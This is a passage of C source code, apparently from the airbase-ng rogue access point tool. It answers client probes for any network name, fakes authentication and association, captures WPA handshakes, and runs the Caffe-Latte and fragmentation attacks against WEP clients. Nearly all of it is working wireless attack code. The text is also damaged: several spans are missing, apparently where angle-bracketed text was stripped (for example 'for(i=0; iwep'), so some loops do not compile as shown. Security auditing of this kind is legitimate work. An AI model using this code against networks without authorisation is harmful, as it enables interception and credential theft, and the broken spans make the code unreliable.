!opt.wpa2type) { if(st_cur->wpatype == 1) //WPA1 h80211[len+4] = 0xFE; //WPA1 else if(st_cur->wpatype == 2) h80211[len+4] = 0x02; //WPA2 } if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified { if(opt.sendeapol == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } else //from asso { if(st_cur->wpahash == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else if(st_cur->wpahash == 2) //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } h80211[len+7] = 0x00; h80211[len+8] = 0x20; //keylen memset(h80211+len+9, 0, 90); memcpy(h80211+len+17, st_cur->wpa.anonce, 32); len+=99; send_packet(h80211, len); return 0; } if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03", 10) == 0) { st_cur->wpa.eapol_size = ( packet[z + 8 + 2] << 8 ) + packet[z + 8 + 3] + 4; if ((unsigned)length - z - 10 < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; return 1; } /* got eapol frame num 2 */ memcpy( st_cur->wpa.snonce, &packet[z + 8 + 17], 32 ); st_cur->wpa.state |= 2; memcpy( st_cur->wpa.keymic, &packet[z + 8 + 81], 16 ); memcpy( st_cur->wpa.eapol, &packet[z + 8], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = packet[z + 8 + 6] & 7; memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); store_wpa_handshake(st_cur); if(!opt.quiet) { PCT; printf("Got WPA handshake from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } return 0; } } } else { packet[1] &= 0xFC; //clear ToDS/FromDS if(!opt.adhoc) { /* Our bssid, ToDS=1, but to a different destination MAC -> send it through both interfaces */ packet[1] |= 0x02; //set FromDS=1 memcpy(packet + 4, dmac, 6); memcpy(packet + 10, bssid, 6); memcpy(packet + 16, smac, 6); } else { /* adhoc, don't replay */ memcpy(packet + 4, dmac, 6); memcpy(packet + 10, smac, 6); memcpy(packet + 16, bssid, 6); } // printf("sent packet length: %d\n", length); /* Is encrypted */ if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 ) { /* check the extended IV flag */ /* WEP and we got the key */ if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.caffelatte && !opt.cf_attack ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; /* reencrypt it to send it with a new IV */ memcpy(h80211, packet, length); if(create_wep_packet(h80211, &length, z) != 0) return 1; if(!opt.adhoc) send_packet(h80211, length); } else { if(opt.caffelatte) { addarp(packet, length); } if(opt.cf_attack) { addCF(packet, length); } /* its a packet we can't decrypt -> just replay it through the wireless interface */ return 0; } } else { /* unencrypted -> send it through the wireless interface */ send_packet(packet, length); } } memcpy( h80211, dmac, 6); //DST_MAC memcpy( h80211+6, smac, 6); //SRC_MAC memcpy( h80211+12, packet+z+6, 2); //copy ether type if( (unsigned)length <= z+8 ) return 1; memcpy( h80211+14, packet+z+8, length-z-8); length = length -z-8+14; //ethernet frame must be atleast 60 bytes without fcs if(length < 60) { trailer = 60 - length; memset(h80211 + length, 0, trailer); length += trailer; } ti_write(dev.dv_ti, h80211, length); } else { //react on management frames //probe request -> send probe response if essid matches. if brodcast probe, ignore it. if( packet[0] == 0x40 ) { tag = parse_tags(packet+z, 0, length-z, &len); if(tag != NULL && tag[0] >= 32 && len <= 255) //directed probe { if( opt.promiscuous || !opt.f_essid || gotESSID((char*)tag, len) == 1) { memset(essid, 0, 256); memcpy(essid, tag, len); /* store probes */ if (len > 0 && essid[0] == 0) goto skip_probe; /* got a valid probed ESSID */ /* add this to the beacon queue */ if(opt.beacon_cache) addESSID(essid, len, opt.beacon_cache); /* check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], essid, len ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], essid, len ); //twice?! st_cur->ssid_length[st_cur->probe_index] = len; for( i = 0; i < len; i++ ) { c = essid[i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } skip_probe: //transform into probe response packet[0] = 0x50; if(opt.verbose) { PCT; printf("Got directed probe request from %02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], essid); } //store the tagged parameters and insert the fixed ones buffer = (unsigned char*) malloc(length-z); memcpy(buffer, packet+z, length-z); memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information packet[z+8] = (apc->interval) & 0xFF; //beacon interval packet[z+9] = (apc->interval >> 8) & 0xFF; memcpy(packet+z+10, apc->capa, 2); //capability //set timestamp gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000UL + tv1.tv_usec; //copy timestamp into response; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { packet[z+i] = ( timestamp >> (i*8) ) & 0xFF; } //insert tagged parameters memcpy(packet+z+12, buffer, length-z); length += 12; free(buffer); buffer = NULL; //add channel packet[length] = 0x03; packet[length+1] = 0x01; temp_channel = wi_get_channel(_wi_in); //current channel if (!invalid_channel_displayed) { if (temp_channel > 255) { // Display error message once invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel); } else if (temp_channel < 1) { invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel); } } packet[length+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel; length += 3; memcpy(packet + 4, smac, 6); memcpy(packet + 10, opt.r_bssid, 6); memcpy(packet + 16, opt.r_bssid, 6); // TODO: See also about 100 lines below if( opt.allwpa ) { memcpy(packet+length, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1); length += sizeof(ALL_WPA2_TAGS) -1; memcpy(packet+length, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1); length += sizeof(ALL_WPA1_TAGS) -1; } else { if(opt.wpa2type > 0) { memcpy(packet+length, WPA2_TAG, 22); packet[length+7] = opt.wpa2type; packet[length+13] = opt.wpa2type; length += 22; } if(opt.wpa1type > 0) { memcpy(packet+length, WPA1_TAG, 24); packet[length+11] = opt.wpa1type; packet[length+17] = opt.wpa1type; length += 24; } } send_packet(packet, length); //send_packet(packet, length); //send_packet(packet, length); return 0; } } else //broadcast probe { if(!opt.nobroadprobe) { //transform into probe response packet[0] = 0x50; if(opt.verbose) { PCT; printf("Got broadcast probe request from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } //store the tagged parameters and insert the fixed ones buffer = (unsigned char*) malloc(length-z); memcpy(buffer, packet+z, length-z); memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information packet[z+8] = (apc->interval) & 0xFF; //beacon interval packet[z+9] = (apc->interval >> 8) & 0xFF; memcpy(packet+z+10, apc->capa, 2); //capability //set timestamp gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000UL + tv1.tv_usec; //copy timestamp into response; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { packet[z+i] = ( timestamp >> (i*8) ) & 0xFF; } //insert essid len = getESSID(fessid); if(!len) { strcpy(fessid, "default"); len = strlen(fessid); } packet[z+12] = 0x00; packet[z+13] = len; memcpy(packet+z+14, fessid, len); //insert tagged parameters memcpy(packet+z+14+len, buffer, length-z); //now we got 2 essid tags... ignore that length += 12; //fixed info free(buffer); buffer = NULL; length += 2+len; //default essid //add channel packet[length] = 0x03; packet[length+1] = 0x01; temp_channel = wi_get_channel(_wi_in); //current channel if (!invalid_channel_displayed) { if (temp_channel > 255) { // Display error message once invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel); } else if (temp_channel < 1) { invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel); } } packet[length+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel; length += 3; memcpy(packet + 4, smac, 6); memcpy(packet + 10, opt.r_bssid, 6); memcpy(packet + 16, opt.r_bssid, 6); // TODO: See also around ~3500 if( opt.allwpa ) { memcpy(packet+length, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1); length += sizeof(ALL_WPA2_TAGS) -1; memcpy(packet+length, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1); length += sizeof(ALL_WPA1_TAGS) -1; } else { if(opt.wpa2type > 0) { memcpy(packet+length, WPA2_TAG, 22); packet[length+7] = opt.wpa2type; packet[length+13] = opt.wpa2type; length += 22; } if(opt.wpa1type > 0) { memcpy(packet+length, WPA1_TAG, 24); packet[length+11] = opt.wpa1type; packet[length+17] = opt.wpa1type; length += 24; } } send_packet(packet, length); send_packet(packet, length); send_packet(packet, length); return 0; } } } //auth req if(packet[0] == 0xB0 && memcmp( bssid, opt.r_bssid, 6) == 0 ) { if(packet[z] == 0x00) //open system auth { //make sure its an auth request if(packet[z+2] == 0x01) { if(opt.verbose) { PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (open system)\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); packet[z+2] = 0x02; if(opt.forceska) { packet[z] = 0x01; packet[z+4] = 13; } send_packet(packet, length); return 0; } } else //shared key auth { //first response if(packet[z+2] == 0x01 && (packet[1] & 0x40) == 0x00 ) { if(opt.verbose) { PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (shared key)\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); packet[z+2] = 0x02; remaining = opt.skalen; while(remaining > 0) { bytes2use = MIN(255,remaining); remaining -= bytes2use; //add challenge packet[length] = 0x10; packet[length+1] = bytes2use; length += 2; for(i=0; iwep = (packet[z] & 0x10) >> 4; tag = parse_tags(packet+z+fixed, 0, length-z-fixed, &len); if(tag != NULL && tag[0] >= 32 && len < 256) { memcpy(essid, tag, len); essid[len] = 0x00; if(opt.f_essid && !gotESSID(essid, len)) return 0; } st_cur->wpatype=0; st_cur->wpahash=0; tag = parse_tags(packet+z+fixed, 0xDD, length-z-fixed, &len); while( tag != NULL ) { // printf("Found WPA TAG\n"); wpa_client(st_cur, tag-2, len+2); tag += (tag-2)[1]+2; tag = parse_tags(tag-2, 0xDD, length-(tag-packet)+2, &len); } tag = parse_tags(packet+z+fixed, 0x30, length-z-fixed, &len); while( tag != NULL ) { // printf("Found WPA2 TAG\n"); wpa_client(st_cur, tag-2, len+2); tag += (tag-2)[1]+2; tag = parse_tags(tag-2, 0x30, length-(tag-packet)+2, &len); } if(!reasso) packet[0] = 0x10; else packet[0] = 0x30; memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); //store the tagged parameters and insert the fixed ones buffer = (unsigned char*) malloc(length-z-fixed); memcpy(buffer, packet+z+fixed, length-z-fixed); packet[z+2] = 0x00; packet[z+3] = 0x00; packet[z+4] = 0x01; packet[z+5] = 0xC0; memcpy(packet+z+6, buffer, length-z-fixed); length +=(6-fixed); free(buffer); buffer = NULL; len = length - z - 6; remove_tag(packet+z+6, 0, &len); length = len + z + 6; send_packet(packet, length); if(!opt.quiet) { PCT; printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], (reasso==0)?"":"re"); if(st_cur->wpatype != 0) { if(st_cur->wpatype == 1) printf(" (WPA1"); else printf(" (WPA2"); if(st_cur->wpahash == 1) printf(";TKIP)"); else printf(";CCMP)"); } else if(st_cur->wep != 0) { printf(" (WEP)"); } else { printf(" (unencrypted)"); } if(essid[0] != 0x00) printf(" to ESSID: \"%s\"", essid); printf("\n"); } memset(st_cur->essid, 0, 256); memcpy(st_cur->essid, essid, 255); st_cur->essid_length = strlen(essid); memset(essid, 0, 256); /* either specified or determined */ if( (opt.sendeapol && ( opt.wpa1type || opt.wpa2type ) ) || (st_cur->wpatype && st_cur->wpahash) ) { st_cur->wpa.state = 0; if (opt.use_fixed_nonce) { memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32); } else { for(i=0; i<32; i++) st_cur->wpa.anonce[i] = rand()&0xFF; } st_cur->wpa.state |= 1; /* build first eapol frame */ memcpy(h80211, "\x08\x02\xd5\x00", 4); len = 4; memcpy(h80211+len, smac, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; h80211[len] = 0x60; h80211[len+1] = 0x0f; len += 2; //llc+snap memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8); len += 8; //eapol memset(h80211+len, 0, 99); h80211[len] = 0x01;//version h80211[len+1] = 0x03;//type h80211[len+2] = 0x00; h80211[len+3] = 0x5F;//len if(opt.wpa1type) h80211[len+4] = 0xFE; //WPA1 if(opt.wpa2type) h80211[len+4] = 0x02; //WPA2 if(!opt.wpa1type && !opt.wpa2type) { if(st_cur->wpatype == 1) //WPA1 h80211[len+4] = 0xFE; //WPA1 else h80211[len+4] = 0x02; //WPA2 } if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified { if(opt.sendeapol == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } else //from asso { if(st_cur->wpahash == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else if(st_cur->wpahash == 2) //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } h80211[len+7] = 0x00; h80211[len+8] = 0x20; //keylen memset(h80211+len+9, 0, 90); memcpy(h80211+len+17, st_cur->wpa.anonce, 32); len+=99; send_packet(h80211, len); } return 0; } return 0; } return 0; } void beacon_thread( void *arg ) { struct AP_conf apc; struct timeval tv, tv1, tv2; u_int64_t timestamp; unsigned char beacon[512]; int beacon_len=0; int seq=0, i=0, n=0; int essid_len, temp_channel; char essid[MAX_IE_ELEMENT_SIZE+1]; float f, ticks[3]; memset(essid, 0, MAX_IE_ELEMENT_SIZE+1); memcpy(&apc, arg, sizeof(struct AP_conf)); ticks[0]=0; ticks[1]=0; ticks[2]=0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return; } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); #if defined(__x86_64__) && defined(__CYGWIN__) f = (0.0f + 1000000) #else f = 1000000.0 #endif * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ( (double)ticks[2] / (double)RTC_RESOLUTION ) >= ((double)apc.interval/ #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000))*(double)seq ) #else 1000.0)*(double)seq ) #endif { /* threshold reach, send one frame */ // ticks[2] = 0; fflush(stdout); gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000UL + tv1.tv_usec; fflush(stdout); /* flush expired ESSID entries */ flushESSID(); essid_len = getNextESSID(essid); if (!essid_len) { strcpy(essid, "default"); essid_len = strlen("default"); } beacon_len = 0; memcpy(beacon, "\x80\x00\x00\x00", 4); //type/subtype/framecontrol/duration beacon_len+=4; memcpy(beacon+beacon_len , BROADCAST, 6); //destination beacon_len+=6; if(!opt.adhoc) memcpy(beacon+beacon_len, apc.bssid, 6); //source else memcpy(beacon+beacon_len, opt.r_smac, 6); //source beacon_len+=6; memcpy(beacon+beacon_len, apc.bssid, 6); //bssid beacon_len+=6; memcpy(beacon+beacon_len, "\x00\x00", 2); //seq+frag beacon_len+=2; memcpy(beacon+beacon_len, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information beacon[beacon_len+8] = (apc.interval * MAX(getESSIDcount(), 1) ) & 0xFF; //beacon interval beacon[beacon_len+9] = (apc.interval * MAX(getESSIDcount(), 1) >> 8) & 0xFF; memcpy(beacon+beacon_len+10, apc.capa, 2); //capability beacon_len+=12; beacon[beacon_len] = 0x00; //essid tag beacon[beacon_len+1] = essid_len; //essid tag beacon_len+=2; memcpy(beacon+beacon_len, essid, essid_len); //actual essid beacon_len+=essid_len; memcpy(beacon+beacon_len, RATES, sizeof(RATES) -1); //rates beacon_len += sizeof(RATES) -1; beacon[beacon_len] = 0x03; //channel tag beacon[beacon_len+1] = 0x01; temp_channel = wi_get_channel(_wi_in); //current channel if (!invalid_channel_displayed) { if (temp_channel > 255) { // Display error message once invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel); } else if (temp_channel < 1) { invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel); } } beacon[beacon_len+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel; beacon_len+=3; if( opt.allwpa ) { memcpy(beacon+beacon_len, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1); beacon_len += sizeof(ALL_WPA2_TAGS) -1; } else if(opt.wpa2type > 0) { memcpy(beacon+beacon_len, WPA2_TAG, 22); beacon[beacon_len+7] = opt.wpa2type; beacon[beacon_len+13] = opt.wpa2type; beacon_len += 22; } // Add extended rates memcpy(beacon + beacon_len, EXTENDED_RATES, sizeof(EXTENDED_RATES) -1); beacon_len += sizeof(EXTENDED_RATES) -1; if( opt.allwpa ) { memcpy(beacon+beacon_len, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1); beacon_len += sizeof(ALL_WPA1_TAGS) -1; } else if(opt.wpa1type > 0) { memcpy(beacon+beacon_len, WPA1_TAG, 24); beacon[beacon_len+11] = opt.wpa1type; beacon[beacon_len+17] = opt.wpa1type; beacon_len += 24; } //copy timestamp into beacon; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { beacon[24+i] = ( timestamp >> (i*8) ) & 0xFF; } beacon[22] = (seq << 4) & 0xFF; beacon[23] = (seq >> 4) & 0xFF; fflush(stdout); if( send_packet( beacon, beacon_len ) < 0 ) { printf("Error sending beacon!\n"); return; } seq++; } } } void caffelatte_thread( void ) { struct timeval tv, tv2; float f, ticks[3]; int arp_off1=0; int nb_pkt_sent_1=0; int seq=0; ticks[0]=0; ticks[1]=0; ticks[2]=0; while( 1 ) { /* sleep until the next clock tick */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); #if defined(__x86_64__) && defined(__CYGWIN__) f = (0.0f + 1000000) #else f = 1000000.0 #endif * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); if( ( (double)ticks[2] / (double)RTC_RESOLUTION ) >= ((double) #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000) #else 1000.0 #endif /(double)opt.r_nbpps)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; if( opt.nb_arp > 0 ) { if( nb_pkt_sent_1 == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return; nb_pkt_sent_1++; if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1 ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return; nb_pkt_sent_1++; } if( ++arp_off1 >= opt.nb_arp ) arp_off1 = 0; } } } } int del_next_CF(pCF_t curCF) { pCF_t tmp; if(curCF == NULL) return 1; if(curCF->next == NULL) return 1; tmp = curCF->next; curCF -> next = tmp->next; free(tmp); return 0; } int cfrag_fuzz(unsigned char *packet, int frags, int frag_num, int length, unsigned char rnd[2]) { int z, i; unsigned char overlay[4096]; unsigned char *smac = NULL; if(packet == NULL) return 1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length <= z+8) return 1; if(frags < 1) return 1; if(frag_num < 0 || frag_num > frags) return 1; if( (packet[1] & 3) <= 1 ) smac = packet + 10; else if( (packet[1] & 3) == 2 ) smac = packet + 16; else smac = packet + 24; memset(overlay, 0, 4096); smac[4] ^= rnd[0]; smac[5] ^= rnd[1]; if(frags == 1 && frag_num == 1) /* ARP final */ { overlay[z+14] = rnd[0]; overlay[z+15] = rnd[1]; overlay[z+18] = rnd[0]; overlay[z+19] = rnd[1]; add_crc32_plain(overlay+z+4, length-z-4-4); } else if(frags == 3 && frag_num == 3)/* IP final */ { overlay[z+12] = rnd[0]; overlay[z+13] = rnd[1]; overlay[z+16] = rnd[0]; overlay[z+17] = rnd[1]; add_crc32_plain(overlay+z+4, length-z-4-4); } for(i=0; i= ((double) #if defined(__x86_64__) && defined(__CYGWIN__) (0.0f + 1000) #else 1000.0 #endif /(double)opt.r_nbpps)*(double)seq ) { /* threshold reach, send one frame */ // ticks[2] = 0; pthread_mutex_lock( &mx_cf ); if( opt.cf_count > 0 ) { curCF = rCF; if(curCF->next == NULL) { opt.cf_count = 0; pthread_mutex_unlock( &mx_cf ); continue; } while( curCF->next != NULL && curCF->next->xmitcount >= MAX_CF_XMIT ) { del_next_CF(curCF); } if(curCF->next == NULL) { opt.cf_count = 0; pthread_mutex_unlock( &mx_cf ); continue; } curCF = curCF->next; if( nb_pkt_sent_1 == 0 ) ticks[0] = 0; rnd[0] = rand() % 0xFF; rnd[1] = rand() % 0xFF; for(i=0; ifragnum; i++ ) { memcpy(buffer, curCF->frags[i], curCF->fraglen[i]); cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd); if( send_packet( buffer, curCF->fraglen[i] ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } } memcpy(buffer, curCF->final, curCF->finallen); cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd); if( send_packet( buffer, curCF->finallen ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } curCF->xmitcount++; nb_pkt_sent_1++; if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent_1 ) { rnd[0] = rand() % 0xFF; rnd[1] = rand() % 0xFF; for(i=0; ifragnum; i++ ) { memcpy(buffer, curCF->frags[i], curCF->fraglen[i]); cfrag_fuzz(buffer, curCF->fragnum, i, curCF->fraglen[i], rnd); if( send_packet( buffer, curCF->fraglen[i] ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } } memcpy(buffer, curCF->final, curCF->finallen); cfrag_fuzz(buffer, curCF->fragnum, curCF->fragnum, curCF->finallen, rnd); if( send_packet( buffer, curCF->finallen ) < 0 ) { pthread_mutex_unlock( &mx_cf ); return; } curCF->xmitcount++; nb_pkt_sent_1++; } } pthread_mutex_unlock( &mx_cf ); } } } int main( int argc, char *argv[] ) { int ret_val, len, i, n; struct pcap_pkthdr pkh; fd_set read_fds; unsigned char buffer[4096]; char *s, buf[128]; int caplen; struct AP_conf apc; unsigned char mac[6]; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); memset( &apc, 0, sizeof( struct AP_conf )); pthread_mutex_init(&rESSIDmutex, NULL); rESSID = (pESSID_t) malloc(sizeof(struct ESSID_list)); memset(rESSID, 0, sizeof(struct ESSID_list)); rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list)); memset(rFragment, 0, sizeof(struct Fragment_list)); rClient = (pMAC_t) malloc(sizeof(struct MAC_list)); memset(rClient, 0, sizeof(struct MAC_list)); rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list)); memset(rBSSID, 0, sizeof(struct MAC_list)); rCF = (pCF_t) malloc(sizeof(struct CF_packet)); memset(rCF, 0, sizeof(struct CF_packet)); #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt < 1.6.0 #if GCRYPT_VERSION_NUMBER < 0x010600 gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); #endif // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif pthread_mutex_init( &mx_cf, NULL ); pthread_mutex_init( &mx_cap, NULL ); opt.r_nbpps = 100; opt.tods = 0; opt.setWEP = -1; opt.skalen = 128; opt.filter = -1; opt.ringbuffer = 10; opt.nb_arp = 0; opt.f_index = 1; opt.interval = 0x64; opt.channel = 0; opt.beacon_cache = 0; /* disable by default */ opt.use_fixed_nonce = 0; opt.ti_mtu = TI_MTU; opt.wif_mtu = WIF_MTU; invalid_channel_displayed = 0; srand( time( NULL ) ); while( 1 ) { int option_index = 0; static struct option long_options[] = { {"beacon-cache",1, 0, 'C'}, {"bssid", 1, 0, 'b'}, {"bssids", 1, 0, 'B'}, {"channel", 1, 0, 'c'}, {"client", 1, 0, 'd'}, {"clients", 1, 0, 'D'}, {"essid", 1, 0, 'e'}, {"essids", 1, 0, 'E'}, {"promiscuous", 0, 0, 'P'}, {"interval", 1, 0, 'I'}, {"mitm", 0, 0, 'M'}, {"hidden", 0, 0, 'X'}, {"caffe-latte", 0, 0, 'L'}, {"cfrag", 0, 0, 'N'}, {"verbose", 0, 0, 'v'}, {"ad-hoc", 0, 0, 'A'}, {"help", 0, 0, 'H'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "a:h:i:C:I:r:w:HPe:E:c:d:D:f:W:qMY:b:B:XsS:Lx:vAz:Z:yV:0NF:n:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'n' : // Check the value is 32 bytes, in hex (64 hex) if (hexStringToArray(optarg, strlen(optarg), opt.fixed_nonce, 32) != 32) { printf("Invalid fixed nonce. It must be 64 hexadecimal chars.\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.use_fixed_nonce = 1; break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : opt.channel = atoi(optarg); if (opt.channel > 255 || opt.channel < 1) { printf("Invalid channel value <%d>. It must be between 1 and 255.\n", opt.channel); return( 1 ); } break; case 'V' : opt.sendeapol = atoi(optarg); if(opt.sendeapol < 1 || opt.sendeapol > 3) { printf( "EAPOL value can only be 1[MD5], 2[SHA1] or 3[auto].\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : opt.verbose = 1; if( opt.quiet != 0 ) { printf( "Don't specify -v and -q at the same time.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'z' : opt.wpa1type = atoi(optarg); if( opt.wpa1type < 1 || opt.wpa1type > 5 ) { printf( "Invalid WPA1 type [1-5]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (opt.setWEP == -1) { opt.setWEP = 1; } break; case 'Z' : opt.wpa2type = atoi(optarg); if( opt.wpa2type < 1 || opt.wpa2type > 5 ) { printf( "Invalid WPA2 type [1-5]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (opt.setWEP == -1) { opt.setWEP = 1; } break; case 'e' : if( addESSID(optarg, strlen(optarg), 0) != 0 ) { printf( "Invalid ESSID, too long\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_essid = 1; break; case 'E' : if( addESSIDfile(optarg) != 0 ) return( 1 ); opt.f_essid = 1; break; case 'P' : opt.promiscuous = 1; break; case 'I' : opt.interval = atoi(optarg); break; case 'C' : opt.beacon_cache = atoi(optarg); break; case 'A' : opt.adhoc = 1; break; case 'N' : opt.cf_attack = 1; break; case 'X' : opt.hidden = 1; break; case '0' : opt.allwpa = 1; if(opt.sendeapol == 0) opt.sendeapol = 3; break; case 'x' : opt.r_nbpps = atoi(optarg); if(opt.r_nbpps < 1 || opt.r_nbpps > 1000) { printf( "Invalid speed. [1-1000]\n" ); 